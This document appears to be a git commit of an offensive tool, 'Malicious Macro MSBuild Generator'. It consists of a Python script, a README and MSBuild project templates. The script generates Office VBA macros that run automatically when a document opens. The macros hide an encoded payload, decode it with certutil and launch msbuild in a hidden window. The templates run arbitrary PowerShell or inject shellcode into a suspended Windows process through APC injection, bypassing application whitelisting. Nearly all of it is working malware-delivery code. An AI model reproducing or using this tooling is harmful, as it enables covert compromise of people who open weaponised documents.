Initial
commit
081f89e57f
|
@ -0,0 +1,196 @@
|
|||
#!/usr/bin/python
|
||||
import os
|
||||
import re
|
||||
import sys
|
||||
import base64
|
||||
import random
|
||||
import string
|
||||
import argparse
|
||||
|
||||
version = "1.0"
|
||||
|
||||
def chunks(l, n):
|
||||
for i in xrange(0, len(l), n):
|
||||
yield l[i:i+n]
|
||||
|
||||
def gen_str():
|
||||
return ''.join(random.choice(string.letters) for i in range(random.randint(5,15)))
|
||||
|
||||
def minimize(output):
|
||||
output = re.sub(r'\s*\<\!\-\- .* \-\-\>\s*\n', '', output)
|
||||
output = output.replace('\n', '')
|
||||
output = re.sub(r'\s{2,}', ' ', output)
|
||||
output = re.sub(r'\s+([^\w])\s+', r'\1', output)
|
||||
output = re.sub(r'([^\w"])\s+', r'\1', output)
|
||||
|
||||
variables = {
|
||||
'payload' : 'x',
|
||||
'method' : 'm',
|
||||
'asm' : 'a',
|
||||
'instance' : 'o',
|
||||
'pipeline' : 'p',
|
||||
'runspace' : 'r',
|
||||
'decoded' : 'd'
|
||||
}
|
||||
|
||||
for k, v in variables.items():
|
||||
output = output.replace(k, v)
|
||||
|
||||
return output
|
||||
|
||||
def generate_shellcode(filename):
|
||||
|
||||
shellcode = ''
|
||||
|
||||
if not os.path.exists(filename):
|
||||
print '[!] File Not Found'
|
||||
sys.exit(0)
|
||||
|
||||
with open(filename) as f:
|
||||
shellcode = bytes(bytearray(f.read()))
|
||||
f.close()
|
||||
|
||||
targetName = gen_str()
|
||||
|
||||
template = open('templates/MSBuild_shellcode.csproj','r').read()
|
||||
|
||||
msbuild = template.replace('[SHELLCODE]',base64.b64encode(shellcode)).replace('[TARGETNAME]',targetName)
|
||||
|
||||
return msbuild
|
||||
|
||||
def generate_powershell(filename):
|
||||
|
||||
powershell = ''
|
||||
|
||||
if not os.path.exists(filename):
|
||||
print '[!] File Not Found'
|
||||
sys.exit(0)
|
||||
|
||||
with open(filename, 'rb') as f:
|
||||
inp = f.read()
|
||||
powershell += inp
|
||||
|
||||
ps = base64.b64encode(powershell)
|
||||
|
||||
targetName = gen_str()
|
||||
|
||||
template = open('templates/MSBuild_powershell.csproj','r').read()
|
||||
|
||||
msbuild = template.replace('[POWERSHELL]',ps).replace('[TARGETNAME]',targetName)
|
||||
|
||||
return msbuild
|
||||
|
||||
def generate_macro(msbuild_template):
|
||||
|
||||
Method = gen_str()
|
||||
Str = gen_str()
|
||||
|
||||
msbuild_encoded = base64.b64encode(minimize(msbuild_template))
|
||||
chunk = list(chunks(msbuild_encoded,80))
|
||||
|
||||
macro = 'Dim fs As Object\n'
|
||||
macro += 'Dim TmpFolder As Object\n'
|
||||
macro += 'Dim env\n'
|
||||
macro += 'Dim cu\n'
|
||||
macro += 'Dim ecu as String\n'
|
||||
macro += 'Dim emsb as String\n'
|
||||
macro += 'Dim ex\n'
|
||||
macro += 'Dim msb\n'
|
||||
macro += 'Dim officeDir as String\n'
|
||||
macro += 'Dim msbPath as String\n'
|
||||
macro += 'Dim TmpFile\n'
|
||||
macro += 'Dim windir\n'
|
||||
macro += 'Dim wmsb As Object\n'
|
||||
macro += 'Dim strLocation As String\n\n'
|
||||
|
||||
macro += 'Sub Auto_Open()\n'
|
||||
macro += '\t'+Method+'\n'
|
||||
macro += 'End Sub\n\n'
|
||||
macro += 'Sub AutoOpen()\n'
|
||||
macro += '\t'+Method+'\n'
|
||||
macro += 'End Sub\n\n'
|
||||
|
||||
macro += 'Sub Document_Open()\n'
|
||||
macro += '\t'+Method+'\n'
|
||||
macro += 'End Sub\n\n'
|
||||
|
||||
macro += "Public Function "+Method+"() As Variant\n"
|
||||
macro += '\tSet fs = CreateObject("Scripting.FileSystemObject")\n'
|
||||
macro += '\tSet TmpFolder = fs.GetSpecialFolder(2)\n\n'
|
||||
|
||||
macro += '\tcu = "certutil"\n'
|
||||
macro += '\tex = "exe"\n'
|
||||
macro += '\tmsb = "msbuild"\n'
|
||||
macro += '\tenv = CStr(Environ("USERPROFILE"))\n'
|
||||
macro += '\twindir = CStr(Environ("WINDIR"))\n'
|
||||
macro += '\tofficeDir = env & "\AppData\Local\Microsoft\Office\\"\n'
|
||||
macro += '\tmsbPath = windir & "\Microsoft.NET\Framework\\v4.0.30319\\"\n'
|
||||
macro += '\tstrLocation = officeDir & "\\' + gen_str() + '.xml"\n'
|
||||
macro += '\tTmpFile = "\\' + gen_str() + '.txt"\n\n'
|
||||
|
||||
payload = Str+" = \"" + str(chunk[0]) + "\"\n"
|
||||
for chk in chunk[1:]:
|
||||
payload += "\t"+Str+" = "+Str+" + \"" + str(chk) + "\"\n"
|
||||
|
||||
macro += '\t' + payload
|
||||
macro += '\n\tSet wmsb = fs.CreateTextFile(TmpFolder & TmpFile, True)\n'
|
||||
macro += '\twmsb.WriteLine ' + Str + '\n'
|
||||
macro += '\twmsb.Close\n\n'
|
||||
|
||||
macro += '\tConst HIDDEN_WINDOW = 0\n'
|
||||
macro += '\tstrComputer = "."\n\n'
|
||||
|
||||
macro += '\tecu = cu & strComputer & ex & " " & "-decode -f" & " " & TmpFolder & TmpFile & " " & strLocation\n\n'
|
||||
|
||||
macro += '\tSet ObjWS = GetObject("winmgmts:\\\\" & strComputer & "\\root\cimv2")\n'
|
||||
macro += '\tSet objS = ObjWS.Get("Win32_ProcessStartup")\n'
|
||||
macro += '\tSet objC = objS.SpawnInstance_\n'
|
||||
macro += '\tobjC.ShowWindow = HIDDEN_WINDOW\n'
|
||||
macro += '\tSet objP = GetObject("winmgmts:\\\\" & strComputer & "\\root\cimv2:Win32_Process")\n'
|
||||
macro += '\tobjP.Create ecu, Null, objC, intProcessID\n\n'
|
||||
|
||||
macro += '\temsb = msbPath & msb & strComputer & ex & " " & strLocation\n\n'
|
||||
|
||||
macro += '\tSet ObjWS = GetObject("winmgmts:\\\\" & strComputer & "\\root\cimv2")\n'
|
||||
macro += '\tSet objS = ObjWS.Get("Win32_ProcessStartup")\n'
|
||||
macro += '\tSet objC = objS.SpawnInstance_\n'
|
||||
macro += '\tobjC.ShowWindow = HIDDEN_WINDOW\n'
|
||||
macro += '\tSet objP = GetObject("winmgmts:\\\\" & strComputer & "\\root\cimv2:Win32_Process")\n'
|
||||
macro += '\tobjP.Create emsb, Null, objC, intProcessID\n'
|
||||
macro += 'End Function\n'
|
||||
|
||||
return macro
|
||||
|
||||
|
||||
def output_file(filename,data):
|
||||
output = open(filename,"w")
|
||||
output.write(data)
|
||||
output.close()
|
||||
|
||||
if __name__ == "__main__":
|
||||
description = 'M3G - Malicious Macro MSBuild Generator v%s' % version
|
||||
description += '\nAuthor : Rahmat Nurfauzi (@infosecn1nja)'
|
||||
parser = argparse.ArgumentParser(description=description,formatter_class=argparse.RawTextHelpFormatter)
|
||||
parser.add_argument('-i','--inputfile', help='Input file you want to embed into the macro', required=True)
|
||||
parser.add_argument('-p','--payload', help='Choose a payload for powershell or raw shellcode', required=True)
|
||||
parser.add_argument('-o','--output', help='Output filename for the macro', required=True)
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
inputfile = args.inputfile
|
||||
payload = args.payload
|
||||
output = args.output
|
||||
|
||||
msbuild_payload = ''
|
||||
|
||||
if payload == 'shellcode':
|
||||
msbuild_payload = generate_shellcode(inputfile)
|
||||
elif payload == 'powershell':
|
||||
msbuild_payload = generate_powershell(inputfile)
|
||||
else:
|
||||
print '[!] Invalid type payload'
|
||||
sys.exit(0)
|
||||
|
||||
macro = generate_macro(msbuild_payload)
|
||||
|
||||
output_file(output,macro)
|
|
@ -0,0 +1,46 @@
|
|||
# Malicious Macro MSBuild Generator
|
||||
|
||||
## Description
|
||||
Generates Malicious Macro and Execute Powershell or Shellcode via MSBuild Application Whitelisting Bypass.
|
||||
|
||||
## What is MSBuild
|
||||
|
||||
MSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It takes XML formatted project files that define requirements for building various platforms and configurations.
|
||||
|
||||
Adversaries can use MSBuild to proxy execution of code through a trusted Windows utility. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# code to be inserted into the XML project file.
|
||||
|
||||
MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application whitelisting defenses that are configured to allow MSBuild.exe execution.
|
||||
|
||||
## Usage
|
||||
```
|
||||
usage: M3G.py [-h] -i INPUTFILE -p PAYLOAD -o OUTPUT
|
||||
|
||||
M3G - Malicious Macro MSBuild Generator v1.0
|
||||
Author : Rahmat Nurfauzi (@infosecn1nja)
|
||||
|
||||
optional arguments:
|
||||
-h, --help show this help message and exit
|
||||
-i INPUTFILE, --inputfile INPUTFILE
|
||||
Input file you want to embed into the macro
|
||||
-p PAYLOAD, --payload PAYLOAD
|
||||
Choose a payload for powershell or raw shellcode
|
||||
-o OUTPUT, --output OUTPUT
|
||||
Output filename for the macro
|
||||
```
|
||||
|
||||
## Example
|
||||
* Choose a payload you want to test like shellcode or powershell
|
||||
* Generate a raw shellcode in whatever framework you want (Cobalt Strike, Metasploit Framework)
|
||||
|
||||
`$ msfvenom -p windows/exec cmd="calc.exe" -f raw > payload.bin`
|
||||
`$ python M3G.py -p shellcode -i /path/payload.bin -o macro.vba`
|
||||
`$ python M3G.py -p powershell -i /path/payload.ps1 -o macro.vba`
|
||||
|
||||
## Links
|
||||
|
||||
* https://gist.github.com/subTee/6b236083da2fd6ddff216e434f257614
|
||||
* http://subt0x10.blogspot.no/2017/04/bypassing-application-whitelisting.html
|
||||
* https://msdn.microsoft.com/en-us/library/dd722601.aspx
|
||||
|
||||
## Credit
|
||||
Rahmat Nurfauzi (@infosecn1nja)
|
|
@ -0,0 +1,54 @@
|
|||
<Project ToolsVersion="4.0"
|
||||
xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<Target Name="[TARGETNAME]">
|
||||
<ClassExample />
|
||||
</Target>
|
||||
<UsingTask TaskName="ClassExample" TaskFactory="CodeTaskFactory" AssemblyFile="C:\Windows\Microsoft.Net\Framework\\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
|
||||
<Task>
|
||||
<Reference Include="System.Management.Automation" />
|
||||
<Using Namespace="System" />
|
||||
<Using Namespace="System.IO" />
|
||||
<Using Namespace="System.Reflection" />
|
||||
<Using Namespace="System.Collections.Generic" />
|
||||
<Code Type="Class" Language="cs">
|
||||
<![CDATA[
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Diagnostics;
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Collections.ObjectModel;
|
||||
using System.Management.Automation;
|
||||
using System.Management.Automation.Runspaces;
|
||||
using System.Text;
|
||||
using Microsoft.Build.Framework;
|
||||
using Microsoft.Build.Utilities;
|
||||
|
||||
public class ClassExample : Task, ITask
|
||||
{
|
||||
public override bool Execute()
|
||||
{
|
||||
Program.Main();
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
public class Program
|
||||
{
|
||||
public static void Main()
|
||||
{
|
||||
byte[] data = Convert.FromBase64String("[POWERSHELL]");
|
||||
string script = Encoding.Unicode.GetString(data);
|
||||
|
||||
Runspace runspace = RunspaceFactory.CreateRunspace();
|
||||
runspace.Open();
|
||||
Pipeline pipeline = runspace.CreatePipeline();
|
||||
pipeline.Commands.AddScript(script);
|
||||
pipeline.InvokeAsync();
|
||||
}
|
||||
}
|
||||
]]>
|
||||
</Code>
|
||||
</Task>
|
||||
</UsingTask>
|
||||
</Project>
|
|
@ -0,0 +1,202 @@
|
|||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<Target Name="[TARGETNAME]">
|
||||
<ClassExample />
|
||||
</Target>
|
||||
<UsingTask
|
||||
TaskName="ClassExample"
|
||||
TaskFactory="CodeTaskFactory"
|
||||
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
|
||||
<Task>
|
||||
<Using Namespace="System" />
|
||||
<Using Namespace="System.Reflection" />
|
||||
<Using Namespace="System.Diagnostics" />
|
||||
<Using Namespace="System.Runtime.InteropServices" />
|
||||
<Code Type="Class" Language="cs">
|
||||
<![CDATA[
|
||||
using System;
|
||||
using System.Reflection;
|
||||
using Microsoft.CSharp;
|
||||
using Microsoft.Build.Framework;
|
||||
using Microsoft.Build.Utilities;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
public class ClassExample : Task, ITask
|
||||
{
|
||||
public override bool Execute()
|
||||
{
|
||||
Program.Main();
|
||||
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
public class Program
|
||||
{
|
||||
public static void Main()
|
||||
{
|
||||
string strShellCode = "[SHELLCODE]";
|
||||
|
||||
byte[] shellcode = System.Convert.FromBase64String(strShellCode);
|
||||
|
||||
string processpath = @"C:\Windows\System32\wsmprovhost.exe";
|
||||
STARTUPINFO si = new STARTUPINFO();
|
||||
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
|
||||
bool success = CreateProcess(processpath, null,
|
||||
IntPtr.Zero, IntPtr.Zero, false,
|
||||
ProcessCreationFlags.CREATE_SUSPENDED,
|
||||
IntPtr.Zero, null, ref si, out pi);
|
||||
|
||||
IntPtr resultPtr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, shellcode.Length,MEM_COMMIT, PAGE_READWRITE);
|
||||
IntPtr bytesWritten = IntPtr.Zero;
|
||||
bool resultBool = WriteProcessMemory(pi.hProcess,resultPtr,shellcode,shellcode.Length, out bytesWritten);
|
||||
|
||||
IntPtr sht = OpenThread(ThreadAccess.SET_CONTEXT, false, (int)pi.dwThreadId);
|
||||
uint oldProtect = 0;
|
||||
resultBool = VirtualProtectEx(pi.hProcess,resultPtr, shellcode.Length,PAGE_EXECUTE_READ, out oldProtect);
|
||||
IntPtr ptr = QueueUserAPC(resultPtr,sht,IntPtr.Zero);
|
||||
|
||||
IntPtr ThreadHandle = pi.hThread;
|
||||
ResumeThread(ThreadHandle);
|
||||
}
|
||||
|
||||
private static UInt32 MEM_COMMIT = 0x1000;
|
||||
|
||||
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
|
||||
private static UInt32 PAGE_READWRITE = 0x04;
|
||||
private static UInt32 PAGE_EXECUTE_READ = 0x20;
|
||||
|
||||
[Flags]
|
||||
public enum ProcessAccessFlags : uint
|
||||
{
|
||||
All = 0x001F0FFF,
|
||||
Terminate = 0x00000001,
|
||||
CreateThread = 0x00000002,
|
||||
VirtualMemoryOperation = 0x00000008,
|
||||
VirtualMemoryRead = 0x00000010,
|
||||
VirtualMemoryWrite = 0x00000020,
|
||||
DuplicateHandle = 0x00000040,
|
||||
CreateProcess = 0x000000080,
|
||||
SetQuota = 0x00000100,
|
||||
SetInformation = 0x00000200,
|
||||
QueryInformation = 0x00000400,
|
||||
QueryLimitedInformation = 0x00001000,
|
||||
Synchronize = 0x00100000
|
||||
}
|
||||
|
||||
[Flags]
|
||||
public enum ProcessCreationFlags : uint
|
||||
{
|
||||
ZERO_FLAG = 0x00000000,
|
||||
CREATE_BREAKAWAY_FROM_JOB = 0x01000000,
|
||||
CREATE_DEFAULT_ERROR_MODE = 0x04000000,
|
||||
CREATE_NEW_CONSOLE = 0x00000010,
|
||||
CREATE_NEW_PROCESS_GROUP = 0x00000200,
|
||||
CREATE_NO_WINDOW = 0x08000000,
|
||||
CREATE_PROTECTED_PROCESS = 0x00040000,
|
||||
CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000,
|
||||
CREATE_SEPARATE_WOW_VDM = 0x00001000,
|
||||
CREATE_SHARED_WOW_VDM = 0x00001000,
|
||||
CREATE_SUSPENDED = 0x00000004,
|
||||
CREATE_UNICODE_ENVIRONMENT = 0x00000400,
|
||||
DEBUG_ONLY_THIS_PROCESS = 0x00000002,
|
||||
DEBUG_PROCESS = 0x00000001,
|
||||
DETACHED_PROCESS = 0x00000008,
|
||||
EXTENDED_STARTUPINFO_PRESENT = 0x00080000,
|
||||
INHERIT_PARENT_AFFINITY = 0x00010000
|
||||
}
|
||||
|
||||
public struct PROCESS_INFORMATION
|
||||
{
|
||||
public IntPtr hProcess;
|
||||
public IntPtr hThread;
|
||||
public uint dwProcessId;
|
||||
public uint dwThreadId;
|
||||
}
|
||||
|
||||
public struct STARTUPINFO
|
||||
{
|
||||
public uint cb;
|
||||
public string lpReserved;
|
||||
public string lpDesktop;
|
||||
public string lpTitle;
|
||||
public uint dwX;
|
||||
public uint dwY;
|
||||
public uint dwXSize;
|
||||
public uint dwYSize;
|
||||
public uint dwXCountChars;
|
||||
public uint dwYCountChars;
|
||||
public uint dwFillAttribute;
|
||||
public uint dwFlags;
|
||||
public short wShowWindow;
|
||||
public short cbReserved2;
|
||||
public IntPtr lpReserved2;
|
||||
public IntPtr hStdInput;
|
||||
public IntPtr hStdOutput;
|
||||
public IntPtr hStdError;
|
||||
}
|
||||
|
||||
[Flags]
|
||||
public enum ThreadAccess : int
|
||||
{
|
||||
TERMINATE = (0x0001) ,
|
||||
SUSPEND_RESUME = (0x0002) ,
|
||||
GET_CONTEXT = (0x0008) ,
|
||||
SET_CONTEXT = (0x0010) ,
|
||||
SET_INFORMATION = (0x0020) ,
|
||||
QUERY_INFORMATION = (0x0040) ,
|
||||
SET_THREAD_TOKEN = (0x0080) ,
|
||||
IMPERSONATE = (0x0100) ,
|
||||
DIRECT_IMPERSONATION = (0x0200)
|
||||
}
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle,
|
||||
int dwThreadId);
|
||||
|
||||
[DllImport("kernel32.dll",SetLastError = true)]
|
||||
public static extern bool WriteProcessMemory(
|
||||
IntPtr hProcess,
|
||||
IntPtr lpBaseAddress,
|
||||
byte[] lpBuffer,
|
||||
int nSize,
|
||||
out IntPtr lpNumberOfBytesWritten);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData);
|
||||
|
||||
[DllImport("kernel32")]
|
||||
public static extern IntPtr VirtualAlloc(UInt32 lpStartAddr,
|
||||
Int32 size, UInt32 flAllocationType, UInt32 flProtect);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true )]
|
||||
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress,
|
||||
Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern IntPtr OpenProcess(
|
||||
ProcessAccessFlags processAccess,
|
||||
bool bInheritHandle,
|
||||
int processId
|
||||
);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes,
|
||||
bool bInheritHandles, ProcessCreationFlags dwCreationFlags, IntPtr lpEnvironment,
|
||||
string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern uint ResumeThread(IntPtr hThread);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern uint SuspendThread(IntPtr hThread);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress,
|
||||
int dwSize, uint flNewProtect, out uint lpflOldProtect);
|
||||
}
|
||||
]]>
|
||||
</Code>
|
||||
</Task>
|
||||
</UsingTask>
|
||||
</Project>
|
Loading…
Reference in New Issue